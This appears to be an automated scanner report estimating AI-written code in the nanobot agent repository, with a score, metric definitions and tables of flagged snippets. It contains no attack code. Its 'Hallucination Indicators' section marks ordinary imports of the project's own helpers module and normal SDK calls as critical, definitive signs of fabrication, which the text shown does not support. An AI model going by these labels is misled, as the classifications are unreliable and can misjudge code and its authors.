Repository Analysis

HKUDS/nanobot

Ultra-lightweight, open-source, self-hosted personal AI agent framework in Python with WebUI, tools, memory, MCP, multi-agent workflows, automation, and chat apps

29.4 Moderate AI signal View on GitHub

Analysis Overview

This report presents the forensic synthetic code analysis of HKUDS/nanobot, a Python project with 47,494 GitHub stars. SynthScan v2.0 examined 431,407 lines of code across 1319 source files, recording 9861 pattern matches distributed across 21 syntactic categories. The overall adjusted score of 29.4 places this repository in the Moderate AI signal band.

The scanner applied 160+ deterministic lexical heuristics, multi-line block detectors, abstract syntax tree depth profilers, and a cross-file Jaccard similarity matrix to construct a statistically normalised synthetic code estimate. All matches are individually weighted by severity coefficient and contextual multiplier before summation, and the resulting headline score is temporally discounted to account for the repository's development history relative to the commercial emergence of large language model coding tooling (November 2022 onward).

29.4
Adjusted Score
29.4
Raw Score
100%
Time Factor
2026-08-28
Last Push
47.5K
Stars
Python
Language
431.4K
Lines of Code
1.3K
Files
9.9K
Pattern Hits
2026-08-29
Scan Date
0.14
HC Hit Rate

What These Metrics Mean

Adjusted Score
Primary synthetic code indicator. Raw score normalised per 1,000 lines of code and multiplied by the temporal discount factor. This is the definitive comparative metric — use it to rank repositories by AI authorship density.
Raw Score
The unmodified sum of all severity-weighted, context-multiplied pattern match scores before temporal discounting. Reflects the absolute signal strength independent of when the repository was last active.
Time Factor
The temporal discount multiplier (0–100%) applied to the raw score. Repositories last updated before ChatGPT's launch (Nov 2022) receive a 5% factor. Full signal is only assigned to repositories active in the post-adoption era (Jan 2024+).
Pattern Hits
Total count of individual pattern matches across all files and categories. A high hit count with a low score may indicate a very large codebase with isolated AI snippets; a low count with a high score indicates dense, concentrated AI signatures.
HC Hit Rate
High+Critical pattern hits per file, averaged across the repository. This orthogonal signal catches repositories where a few files are densely packed with high-severity AI tells — a strong indicator even when the normalised score appears moderate due to codebase size.
Lines of Code / Files
Total lines and files analysed. The scanner examines 94 file extensions. These denominators are used to normalise the score, enabling fair comparison between repositories of vastly different sizes.

Score History

This chart maps the temporal evolution of the adjusted synthetic code score across successive scan runs. An upward trajectory indicates ongoing incorporation of AI-generated code or expanding LLM-assisted scaffolding; a stable or declining trajectory may reflect active human refactoring, code removal, or the adoption of stricter authorship policies. The dashed secondary line (right axis) independently tracks total raw pattern hit count, which can diverge from the normalised score when codebase size changes significantly between scans.

Severity Breakdown

Classifies detected patterns by their diagnostic confidence and structural impact. CRITICAL patterns (coefficient 10) represent definitive synthetic signatures — hallucinated imports, explicit LLM attribution metadata — virtually never produced by human authors. HIGH (5) indicates strong structural tells such as cross-file repetition or cross-linguistic idioms. MEDIUM (2) covers recognisable conversational padding and AI-specific vocabulary. LOW (1) captures subtle indicators like tautological comments and generic boilerplate that require density to carry independent signal.

CRITICAL 150HIGH 37MEDIUM 711LOW 8963

Directory Score Breakdown

This horizontal bar chart decomposes the repository's raw synthetic code score by top-level directory, allowing you to pinpoint precisely which modules or components carry the highest AI authorship density. Directories with disproportionately high scores relative to their size warrant targeted manual review: concentrated AI signatures often trace back to mass-generated configuration layers, auto-ported test suites, LLM-scaffolded boilerplate classes, or entire subsystems authored under heavy copilot assistance. Use this view to prioritise your human code-review effort.

Pattern Findings

The scanner identified 9861 distinct pattern matches across 21 syntactic categories. Each entry below represents a discrete location in the source code where the engine recorded a statistically significant AI authorship indicator. Expand any category row to inspect the individual file paths, line numbers, code snippets, and the lexical context (CODE, COMMENT, or STRING) in which each match was detected.

Reading the findings table: The Severity column indicates the diagnostic confidence level (CRITICAL / HIGH / MEDIUM / LOW). The Context column identifies whether the match occurred inside executable code, an inline comment, or a string literal — comment-context matches receive a ×1.5 weight because LLMs systematically over-annotate. The ⚡ bolt icon marks clustered matches: three or more patterns within a 10-line window, each receiving an additional ×1.5 density multiplier as dense clusters constitute far stronger evidence of synthetic authorship than isolated hits.

Hyper-Verbose Identifiers6887 hits · 6029 pts
SeverityFileLineSnippetContext
LOWconftest.py17def _isolate_nanobot_log_activation() -> Iterator[None]:CODE
LOWconftest.py53def _use_windows_system_ca_for_default_http_clients() -> Iterator[None]:CODE
LOWtui/src/command-menu.ts34export function resolveSlashCommandLifecycle(CODE
LOWtui/src/latex.ts545function markdownLinkDestinationEnds(source: string): ReadonlyMap<number, number> {CODE
LOWtui/src/clipboard-image.ts34export function createClipboardImageReader(CODE
LOWtui/src/protocol.ts1012export function sanitizeConnectionFailure(error: unknown): string {CODE
LOWnanobot/process_runtime.py410 def _posix_process_started_at(self, pid: int) -> str | None:CODE
LOWnanobot/process_runtime.py593def _legacy_darwin_started_at(value: str) -> int | None:CODE
LOWnanobot/process_runtime.py679def _windows_process_identity(pid: int) -> str | None:CODE
LOWnanobot/optional_features.py67def optional_dependency_groups_from_metadata() -> dict[str, list[str] | None]:CODE
LOWnanobot/optional_features.py86def optional_dependency_groups() -> dict[str, list[str] | None]:CODE
LOWnanobot/optional_features.py103def _install_requirements_for_extra(extra: str, deps: list[str]) -> list[str]:CODE
LOWnanobot/optional_features.py150def _extra_dependencies_installed(CODE
LOWnanobot/optional_features.py292def set_channel_config_enabled(CODE
LOWnanobot/optional_features.py371def _channel_has_required_setup(section: Any, spec: ChannelSetupSpec | None) -> bool:CODE
LOWnanobot/optional_features.py425def optional_features_payload(CODE
LOWnanobot/optional_features.py535def with_channel_runtime_status(CODE
LOWnanobot/optional_features.py626def _combined_channel_runtime_state(CODE
LOWnanobot/optional_features.py738def ensure_enabled_channel_dependencies(CODE
LOWnanobot/optional_features.py765def _feature_requires_restart(name: str, *, is_channel: bool) -> bool:CODE
LOWnanobot/runtime_context.py55def wrap_runtime_context_lines(lines: Iterable[str]) -> str:CODE
LOWnanobot/runtime_context.py63def webui_quote_runtime_context(metadata: Mapping[str, Any]) -> RuntimeContextBlock | None:CODE
LOWnanobot/runtime_context.py78def normalize_runtime_context_blocks(result: RuntimeContextResult) -> list[RuntimeContextBlock]:CODE
LOWnanobot/runtime_context.py99def runtime_context_blocks_from_metadata(CODE
LOWnanobot/pairing/store.py310def _handle_pairing_subcommand(channel: str, subcommand_text: str) -> str:CODE
LOWnanobot/config/errors.py93def _friendly_validation_message(message: str, code: str) -> str:CODE
LOWnanobot/config/schema.py344 def wildcard_host_requires_auth(self) -> "ApiConfig":CODE
LOWnanobot/config/schema.py672def _resolve_tool_config_refs() -> None:CODE
LOWnanobot/security/workspace_access.py249def validate_workspace_scope_payload(CODE
LOWnanobot/security/workspace_access.py290def workspace_scope_from_metadata(CODE
LOWnanobot/security/workspace_access.py320def resolve_effective_workspace_scope(CODE
LOWnanobot/security/workspace_access.py382def current_scope_allows_loopback(*, enabled: bool) -> bool:CODE
LOWnanobot/security/network.py333def _is_allowed_loopback_target(CODE
LOWnanobot/triggers/local_store.py222 def recover_processing_deliveries(self) -> int:CODE
LOWnanobot/triggers/local_store.py293 def write_delivery_run_record(CODE
LOWnanobot/triggers/local_store.py357 def _move_bad_delivery_unlocked(self, path: Path) -> None:CODE
LOWnanobot/triggers/local_store.py379 def _delete_delivery_files_for_trigger_unlocked(self, trigger_id: str) -> None:CODE
LOWnanobot/triggers/local_store.py397 def _delivery_file_trigger_id(path: Path) -> str | None:CODE
LOWnanobot/triggers/local_runner.py169def _write_delivery_run_record(CODE
LOWnanobot/triggers/local_session_turns.py15def _local_trigger_history_text(trigger: Mapping[str, Any]) -> str:CODE
LOWnanobot/triggers/local_session_turns.py46def local_trigger_delivery_id(metadata: Mapping[str, Any] | None) -> str | None:CODE
LOWnanobot/triggers/local_turns.py37 def pending_trigger_ids_for_session(self, session_key: str) -> set[str]:CODE
LOWnanobot/triggers/local_turns.py42def _should_defer_local_trigger_turn(CODE
LOWnanobot/providers/image_generation.py244def register_image_gen_provider(cls: type[ImageGenerationProvider]) -> None:CODE
LOWnanobot/providers/image_generation.py265def image_gen_provider_configs(config: Config) -> dict[str, ProviderConfig]:CODE
LOWnanobot/providers/image_generation.py1655def _collect_text_from_sse_event(event: dict[str, Any], text_parts: list[str]) -> None:CODE
LOWnanobot/providers/image_generation.py113def image_path_to_inline_data(path: str | Path) -> dict[str, str]:CODE
LOWnanobot/providers/image_generation.py606def _ollama_images_from_payload(payload: dict[str, Any]) -> list[str]:CODE
LOWnanobot/providers/image_generation.py867def _gemini_flash_image_config(CODE
LOWnanobot/providers/image_generation.py890def _gemini_flash_supported_aspect_ratios(model: str) -> set[str]:CODE
LOWnanobot/providers/image_generation.py903def _gemini_flash_supported_image_sizes(model: str) -> set[str]:CODE
LOWnanobot/providers/image_generation.py919async def _aihubmix_images_from_payload(CODE
LOWnanobot/providers/image_generation.py1077def _minimax_images_from_payload(payload: dict[str, Any]) -> list[str]:CODE
LOWnanobot/providers/image_generation.py1503def _openai_multipart_form_body(body: dict[str, Any]) -> dict[str, str]:CODE
LOWnanobot/providers/image_generation.py1520def _openai_is_gpt_image_model(model: str) -> bool:CODE
LOWnanobot/providers/image_generation.py1536def _normalize_openai_image_size(image_size: str | None) -> str | None:CODE
LOWnanobot/providers/image_generation.py1543def _openai_explicit_size_supported(CODE
LOWnanobot/providers/image_generation.py1554async def _openai_images_from_payload(CODE
LOWnanobot/providers/image_generation.py1634def _collect_images_from_sse_event(event: dict[str, Any], images: list[str]) -> None:CODE
LOWnanobot/providers/image_generation.py1771def _stepfun_images_from_payload(payload: dict[str, Any]) -> list[str]:CODE
6827 more matches not shown…
Decorative Section Separators685 hits · 2535 pts
SeverityFileLineSnippetContext
MEDIUMnanobot/providers/image_generation.py237# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/image_generation.py239# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/image_generation.py274# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/image_generation.py276# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/image_generation.py1662# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/image_generation.py1664# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/image_generation.py1093# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/image_generation.py1095# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/image_generation.py1366# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/image_generation.py1368# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/image_generation.py1784# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/image_generation.py1786# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/image_generation.py1927# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/image_generation.py1929# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/image_generation.py2115# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/image_generation.py2117# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/registry.py139# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/registry.py141# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/registry.py756# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/registry.py758# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/openai_compat_provider.py862 # ------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/openai_compat_provider.py864 # ------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/openai_compat_provider.py1364 # ------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/openai_compat_provider.py1366 # ------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/openai_compat_provider.py1899 # ------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/openai_compat_provider.py1901 # ------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/azure_openai_provider.py145 # ------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/azure_openai_provider.py147 # ------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/azure_openai_provider.py312 # ------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/azure_openai_provider.py314 # ------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/anthropic_provider.py723 # ------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/anthropic_provider.py725 # ------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/anthropic_provider.py184 # ------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/anthropic_provider.py186 # ------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/anthropic_provider.py493 # ------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/anthropic_provider.py495 # ------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/anthropic_provider.py535 # ------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/anthropic_provider.py537 # ------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/anthropic_provider.py573 # ------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/anthropic_provider.py575 # ------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/anthropic_provider.py654 # ------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/anthropic_provider.py656 # ------------------------------------------------------------------COMMENT
MEDIUMnanobot/utils/document.py646# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/utils/document.py648# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/utils/searchusage.py89# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/utils/searchusage.py91# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/agent/memory.py737 # ------------------------------------------------------------------COMMENT
MEDIUMnanobot/agent/memory.py739 # ------------------------------------------------------------------COMMENT
MEDIUMnanobot/agent/memory.py51# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/agent/memory.py53# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/agent/memory.py786# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/agent/memory.py788# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/agent/tools/filesystem.py558# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/agent/tools/filesystem.py560# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/agent/tools/filesystem.py604# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/agent/tools/filesystem.py606# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/agent/tools/filesystem.py196# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/agent/tools/filesystem.py198# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/agent/tools/filesystem.py1106# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/agent/tools/filesystem.py1108# ---------------------------------------------------------------------------COMMENT
625 more matches not shown…
Hallucination Indicators150 hits · 1672 pts
SeverityFileLineSnippetContext
CRITICALnanobot/pairing/store.py21from nanobot.utils.helpers import _write_text_atomic # pyright: ignore[reportPrivateUsage]CODE
CRITICALnanobot/config/paths.py7from nanobot.utils.helpers import ensure_dirCODE
CRITICALnanobot/config/loader.py17from nanobot.utils.helpers import _write_text_atomic # pyright: ignore[reportPrivateUsage]CODE
CRITICALnanobot/triggers/local_store.py19from nanobot.utils.helpers import truncate_textCODE
CRITICALnanobot/providers/image_generation.py25from nanobot.utils.helpers import detect_image_mimeCODE
CRITICALnanobot/providers/xai_oauth.py34from nanobot.utils.helpers import _write_text_atomic # pyright: ignore[reportPrivateUsage]CODE
CRITICALnanobot/providers/base.py22from nanobot.utils.helpers import sanitize_surrogates_deepCODE
CRITICALnanobot/utils/media_decode.py16from nanobot.utils.helpers import safe_filenameCODE
CRITICALnanobot/utils/workspace_prompts.py8from nanobot.utils.helpers import truncate_textCODE
CRITICALnanobot/utils/__init__.py9from nanobot.utils.helpers import ensure_dirCODE
CRITICALnanobot/utils/runtime.py11from nanobot.utils.helpers import stringify_text_blocksCODE
CRITICALnanobot/utils/document.py12from nanobot.utils.helpers import detect_image_mimeCODE
CRITICALnanobot/utils/artifacts.py15from nanobot.utils.helpers import detect_image_mime, ensure_dirCODE
CRITICALnanobot/agent/progress_hook.py13from nanobot.utils.helpers import IncrementalThinkExtractor, strip_thinkCODE
CRITICALnanobot/agent/loop.py99from nanobot.utils.helpers import image_placeholder_textCODE
CRITICALnanobot/agent/loop.py100from nanobot.utils.helpers import truncate_text as truncate_text_fnCODE
CRITICALnanobot/agent/tools/image_generation.py42from nanobot.utils.helpers import detect_image_mimeCODE
CRITICALnanobot/agent/tools/session_messages.py184 from nanobot.utils.helpers import strip_thinkCODE
CRITICALnanobot/agent/tools/web.py29from nanobot.utils.helpers import build_image_content_blocksCODE
CRITICALnanobot/agent/tools/mcp_oauth.py28from nanobot.utils.helpers import _write_text_atomic # pyright: ignore[reportPrivateUsage]CODE
CRITICALnanobot/agent/tools/filesystem.py24from nanobot.utils.helpers import build_image_content_blocks, detect_image_mimeCODE
CRITICALnanobot/agent/tools/message.py161 from nanobot.utils.helpers import strip_thinkCODE
CRITICALnanobot/cli/gateway_runtime.py41from nanobot.utils.helpers import sync_workspace_templatesCODE
CRITICALnanobot/cli/terminal.py32from nanobot.utils.helpers import sanitize_surrogates as _sanitize_surrogatesCODE
CRITICALnanobot/cli/webui.py39from nanobot.utils.helpers import sync_workspace_templatesCODE
CRITICALnanobot/cli/agent.py135 from nanobot.utils.helpers import sanitize_surrogates as _sanitize_surrogatesCODE
CRITICALnanobot/cli/commands.py77from nanobot.utils.helpers import sanitize_surrogates as _sanitize_surrogates # noqa: E402,F401CODE
CRITICALnanobot/api/server.py23from nanobot.utils.helpers import safe_filenameCODE
CRITICALnanobot/webui/inbound_commands.py37from nanobot.utils.helpers import safe_filenameCODE
CRITICALnanobot/webui/session_context.py9from nanobot.utils.helpers import estimate_message_tokens, truncate_textCODE
CRITICALnanobot/webui/mcp_presets_api.py33from nanobot.utils.helpers import ensure_dirCODE
CRITICALnanobot/webui/media_api.py22from nanobot.utils.helpers import safe_filenameCODE
CRITICALnanobot/command/builtin.py18from nanobot.utils.helpers import build_status_contentCODE
CRITICALnanobot/channels/napcat/runtime.py28from nanobot.utils.helpers import safe_filenameCODE
CRITICALnanobot/channels/discord/runtime.py23from nanobot.utils.helpers import safe_filename, split_messageCODE
CRITICALnanobot/channels/feishu/runtime.py45from nanobot.utils.helpers import safe_filenameCODE
CRITICALnanobot/channels/feishu/runtime.py1303 response = self._client.im.v1.message_reaction.create(request)CODE
CRITICALnanobot/channels/feishu/runtime.py1344 response = self._client.im.v1.message_reaction.delete(request)CODE
CRITICALnanobot/channels/feishu/runtime.py1694 response = self._client.im.v1.image.create(request)CODE
CRITICALnanobot/channels/feishu/runtime.py1728 response = self._client.im.v1.file.create(request)CODE
CRITICALnanobot/channels/feishu/runtime.py1756 response = self._client.im.v1.message_resource.get(request)CODE
CRITICALnanobot/channels/feishu/runtime.py1791 response = self._client.im.v1.message_resource.get(request)CODE
CRITICALnanobot/channels/feishu/runtime.py1895 response = self._client.im.v1.message.get(request)CODE
CRITICALnanobot/channels/feishu/runtime.py1952 response = self._client.im.v1.message.reply(request)CODE
CRITICALnanobot/channels/feishu/runtime.py2084 response = self._client.im.v1.message.create(request)CODE
CRITICALnanobot/channels/feishu/runtime.py2142 response = self._client.cardkit.v1.card.create(request)CODE
CRITICALnanobot/channels/feishu/runtime.py2192 response = self._client.cardkit.v1.card_element.content(request)CODE
CRITICALnanobot/channels/feishu/runtime.py2224 response = self._client.cardkit.v1.card.settings(request)CODE
CRITICALnanobot/channels/feishu/tests/test_feishu_reaction.py100 ch._client.im.v1.message_reaction.delete.assert_called_once()CODE
CRITICALnanobot/channels/feishu/tests/test_feishu_reaction.py112 ch._client.im.v1.message_reaction.delete.assert_called_once()CODE
CRITICALnanobot/channels/feishu/tests/test_feishu_reaction.py120 ch._client.im.v1.message_reaction.delete.assert_called_once()CODE
CRITICALnanobot/channels/feishu/tests/test_feishu_streaming.py75 ch._client.cardkit.v1.card.create.assert_called_once()CODE
CRITICALnanobot/channels/feishu/tests/test_feishu_streaming.py76 ch._client.im.v1.message.create.assert_called_once()CODE
CRITICALnanobot/channels/feishu/tests/test_feishu_streaming.py169 ch._client.cardkit.v1.card.create.assert_called_once()CODE
CRITICALnanobot/channels/feishu/tests/test_feishu_streaming.py170 ch._client.im.v1.message.create.assert_called_once()CODE
CRITICALnanobot/channels/feishu/tests/test_feishu_streaming.py171 ch._client.cardkit.v1.card_element.content.assert_called_once()CODE
CRITICALnanobot/channels/feishu/tests/test_feishu_streaming.py204 ch._client.im.v1.message.create.assert_called_once()CODE
CRITICALnanobot/channels/feishu/tests/test_feishu_streaming.py205 ch._client.im.v1.message.reply.assert_not_called()CODE
CRITICALnanobot/channels/feishu/tests/test_feishu_streaming.py222 ch._client.im.v1.message.reply.assert_called_once()CODE
CRITICALnanobot/channels/feishu/tests/test_feishu_streaming.py223 ch._client.im.v1.message.create.assert_not_called()CODE
90 more matches not shown…
Fake / Example Data595 hits · 802 pts
SeverityFileLineSnippetContext
LOWnanobot/webui/mcp_presets_api.py659 "placeholder": field.placeholder,CODE
LOWnanobot/channels/dingtalk/webui/locales/ja.json17 "placeholder": "DingTalk Client ID",CODE
LOWnanobot/channels/dingtalk/webui/locales/ja.json22 "placeholder": "••••••",CODE
LOWnanobot/channels/dingtalk/webui/locales/ja.json27 "placeholder": "ユーザー ID(カンマ区切り)"CODE
LOWnanobot/channels/dingtalk/webui/locales/zh-CN.json18 "placeholder": "钉钉 Client ID",CODE
LOWnanobot/channels/dingtalk/webui/locales/zh-CN.json23 "placeholder": "••••••",CODE
LOWnanobot/channels/dingtalk/webui/locales/zh-CN.json28 "placeholder": "用户 ID,用逗号分隔"CODE
LOWnanobot/channels/dingtalk/webui/locales/en.json17 "placeholder": "DingTalk client ID",CODE
LOWnanobot/channels/dingtalk/webui/locales/en.json22 "placeholder": "••••••",CODE
LOWnanobot/channels/dingtalk/webui/locales/en.json27 "placeholder": "User IDs, comma separated"CODE
LOWnanobot/channels/dingtalk/webui/locales/fr.json17 "placeholder": "Client ID DingTalk",CODE
LOWnanobot/channels/dingtalk/webui/locales/fr.json22 "placeholder": "••••••",CODE
LOWnanobot/channels/dingtalk/webui/locales/fr.json27 "placeholder": "ID utilisateur séparés par des virgules"CODE
LOWnanobot/channels/dingtalk/webui/locales/pt-BR.json17 "placeholder": "Client ID do DingTalk",CODE
LOWnanobot/channels/dingtalk/webui/locales/pt-BR.json22 "placeholder": "••••••",CODE
LOWnanobot/channels/dingtalk/webui/locales/pt-BR.json27 "placeholder": "IDs de usuário separados por vírgulas"CODE
LOWnanobot/channels/dingtalk/webui/locales/ko.json17 "placeholder": "DingTalk Client ID",CODE
LOWnanobot/channels/dingtalk/webui/locales/ko.json22 "placeholder": "••••••",CODE
LOWnanobot/channels/dingtalk/webui/locales/ko.json27 "placeholder": "사용자 ID, 쉼표로 구분"CODE
LOWnanobot/channels/dingtalk/webui/locales/zh-TW.json18 "placeholder": "釘釘 Client ID",CODE
LOWnanobot/channels/dingtalk/webui/locales/zh-TW.json23 "placeholder": "••••••",CODE
LOWnanobot/channels/dingtalk/webui/locales/zh-TW.json28 "placeholder": "使用者 ID,以逗號分隔"CODE
LOWnanobot/channels/dingtalk/webui/locales/vi.json17 "placeholder": "Client ID DingTalk",CODE
LOWnanobot/channels/dingtalk/webui/locales/vi.json22 "placeholder": "••••••",CODE
LOWnanobot/channels/dingtalk/webui/locales/vi.json27 "placeholder": "ID người dùng, phân tách bằng dấu phẩy"CODE
LOWnanobot/channels/dingtalk/webui/locales/id.json17 "placeholder": "Client ID DingTalk",CODE
LOWnanobot/channels/dingtalk/webui/locales/id.json22 "placeholder": "••••••",CODE
LOWnanobot/channels/dingtalk/webui/locales/id.json27 "placeholder": "ID pengguna, dipisahkan koma"CODE
LOWnanobot/channels/dingtalk/webui/locales/es.json17 "placeholder": "Client ID de DingTalk",CODE
LOWnanobot/channels/dingtalk/webui/locales/es.json22 "placeholder": "••••••",CODE
LOWnanobot/channels/dingtalk/webui/locales/es.json27 "placeholder": "ID de usuario separados por comas"CODE
LOWnanobot/channels/napcat/webui/locales/ja.json17 "placeholder": "ws://127.0.0.1:3001",CODE
LOWnanobot/channels/napcat/webui/locales/ja.json22 "placeholder": "任意のトークン"CODE
LOWnanobot/channels/napcat/webui/locales/ja.json34 "placeholder": "QQ ID(カンマ区切り)"CODE
LOWnanobot/channels/napcat/webui/locales/zh-CN.json17 "placeholder": "ws://127.0.0.1:3001",CODE
LOWnanobot/channels/napcat/webui/locales/zh-CN.json22 "placeholder": "可选令牌"CODE
LOWnanobot/channels/napcat/webui/locales/zh-CN.json34 "placeholder": "QQ ID,用逗号分隔"CODE
LOWnanobot/channels/napcat/webui/locales/en.json17 "placeholder": "ws://127.0.0.1:3001",CODE
LOWnanobot/channels/napcat/webui/locales/en.json22 "placeholder": "Optional token"CODE
LOWnanobot/channels/napcat/webui/locales/en.json34 "placeholder": "QQ IDs, comma separated"CODE
LOWnanobot/channels/napcat/webui/locales/fr.json17 "placeholder": "ws://127.0.0.1:3001",CODE
LOWnanobot/channels/napcat/webui/locales/fr.json22 "placeholder": "Jeton facultatif"CODE
LOWnanobot/channels/napcat/webui/locales/fr.json34 "placeholder": "ID QQ séparés par des virgules"CODE
LOWnanobot/channels/napcat/webui/locales/pt-BR.json17 "placeholder": "ws://127.0.0.1:3001",CODE
LOWnanobot/channels/napcat/webui/locales/pt-BR.json22 "placeholder": "Token opcional"CODE
LOWnanobot/channels/napcat/webui/locales/pt-BR.json34 "placeholder": "IDs do QQ separados por vírgulas"CODE
LOWnanobot/channels/napcat/webui/locales/ko.json17 "placeholder": "ws://127.0.0.1:3001",CODE
LOWnanobot/channels/napcat/webui/locales/ko.json22 "placeholder": "선택적 토큰"CODE
LOWnanobot/channels/napcat/webui/locales/ko.json34 "placeholder": "QQ ID, 쉼표로 구분"CODE
LOWnanobot/channels/napcat/webui/locales/zh-TW.json17 "placeholder": "ws://127.0.0.1:3001",CODE
LOWnanobot/channels/napcat/webui/locales/zh-TW.json22 "placeholder": "可選權杖"CODE
LOWnanobot/channels/napcat/webui/locales/zh-TW.json34 "placeholder": "QQ ID,以逗號分隔"CODE
LOWnanobot/channels/napcat/webui/locales/vi.json17 "placeholder": "ws://127.0.0.1:3001",CODE
LOWnanobot/channels/napcat/webui/locales/vi.json22 "placeholder": "Token tùy chọn"CODE
LOWnanobot/channels/napcat/webui/locales/vi.json34 "placeholder": "ID QQ, phân tách bằng dấu phẩy"CODE
LOWnanobot/channels/napcat/webui/locales/id.json17 "placeholder": "ws://127.0.0.1:3001",CODE
LOWnanobot/channels/napcat/webui/locales/id.json22 "placeholder": "Token opsional"CODE
LOWnanobot/channels/napcat/webui/locales/id.json34 "placeholder": "ID QQ, dipisahkan koma"CODE
LOWnanobot/channels/napcat/webui/locales/es.json17 "placeholder": "ws://127.0.0.1:3001",CODE
LOWnanobot/channels/napcat/webui/locales/es.json22 "placeholder": "Token opcional"CODE
535 more matches not shown…
Unused Imports559 hits · 524 pts
SeverityFileLineSnippetContext
LOWconftest.py3CODE
LOWhatch_build.py21CODE
LOWtui/scripts/conpty_smoke.py4CODE
LOWtui/scripts/pty_smoke.py9CODE
LOWtui/scripts/package-release.py3CODE
LOWnanobot/nanobot.py3CODE
LOWnanobot/nanobot.py16CODE
LOWnanobot/nanobot.py24CODE
LOWnanobot/nanobot.py24CODE
LOWnanobot/nanobot.py24CODE
LOWnanobot/nanobot.py24CODE
LOWnanobot/nanobot.py24CODE
LOWnanobot/nanobot.py24CODE
LOWnanobot/nanobot.py24CODE
LOWnanobot/nanobot.py24CODE
LOWnanobot/nanobot.py24CODE
LOWnanobot/nanobot.py24CODE
LOWnanobot/nanobot.py24CODE
LOWnanobot/process_runtime.py3CODE
LOWnanobot/optional_features.py2CODE
LOWnanobot/runtime_context.py3CODE
LOWnanobot/__init__.py12CODE
LOWnanobot/__init__.py13CODE
LOWnanobot/__init__.py14CODE
LOWnanobot/__init__.py14CODE
LOWnanobot/__init__.py14CODE
LOWnanobot/__init__.py14CODE
LOWnanobot/__init__.py14CODE
LOWnanobot/__init__.py14CODE
LOWnanobot/__init__.py14CODE
LOWnanobot/__init__.py14CODE
LOWnanobot/__init__.py14CODE
LOWnanobot/__init__.py14CODE
LOWnanobot/__init__.py14CODE
LOWnanobot/__init__.py14CODE
LOWnanobot/__init__.py14CODE
LOWnanobot/__init__.py14CODE
LOWnanobot/__init__.py14CODE
LOWnanobot/__init__.py14CODE
LOWnanobot/__init__.py14CODE
LOWnanobot/__init__.py14CODE
LOWnanobot/__init__.py14CODE
LOWnanobot/__init__.py35CODE
LOWnanobot/__init__.py35CODE
LOWnanobot/pairing/store.py8CODE
LOWnanobot/pairing/__init__.py3CODE
LOWnanobot/pairing/__init__.py3CODE
LOWnanobot/pairing/__init__.py3CODE
LOWnanobot/pairing/__init__.py3CODE
LOWnanobot/pairing/__init__.py3CODE
LOWnanobot/pairing/__init__.py3CODE
LOWnanobot/pairing/__init__.py3CODE
LOWnanobot/pairing/__init__.py3CODE
LOWnanobot/pairing/__init__.py3CODE
LOWnanobot/pairing/__init__.py3CODE
LOWnanobot/pairing/__init__.py3CODE
LOWnanobot/pairing/__init__.py3CODE
LOWnanobot/llm_usage/store.py3CODE
LOWnanobot/llm_usage/models.py3CODE
LOWnanobot/llm_usage/__init__.py3CODE
499 more matches not shown…
Excessive Try-Catch Wrapping523 hits · 500 pts
SeverityFileLineSnippetContext
LOWnanobot/nanobot.py296 except Exception as exc:CODE
LOWnanobot/optional_features.py515 except Exception as exc:CODE
LOWnanobot/optional_features.py696 except Exception as exc:CODE
LOWnanobot/optional_features.py722 except Exception as exc:CODE
LOWnanobot/llm_usage/__init__.py59 except Exception:CODE
LOWnanobot/llm_usage/__init__.py73 except Exception:CODE
LOWnanobot/config/timezone.py17 except Exception:CODE
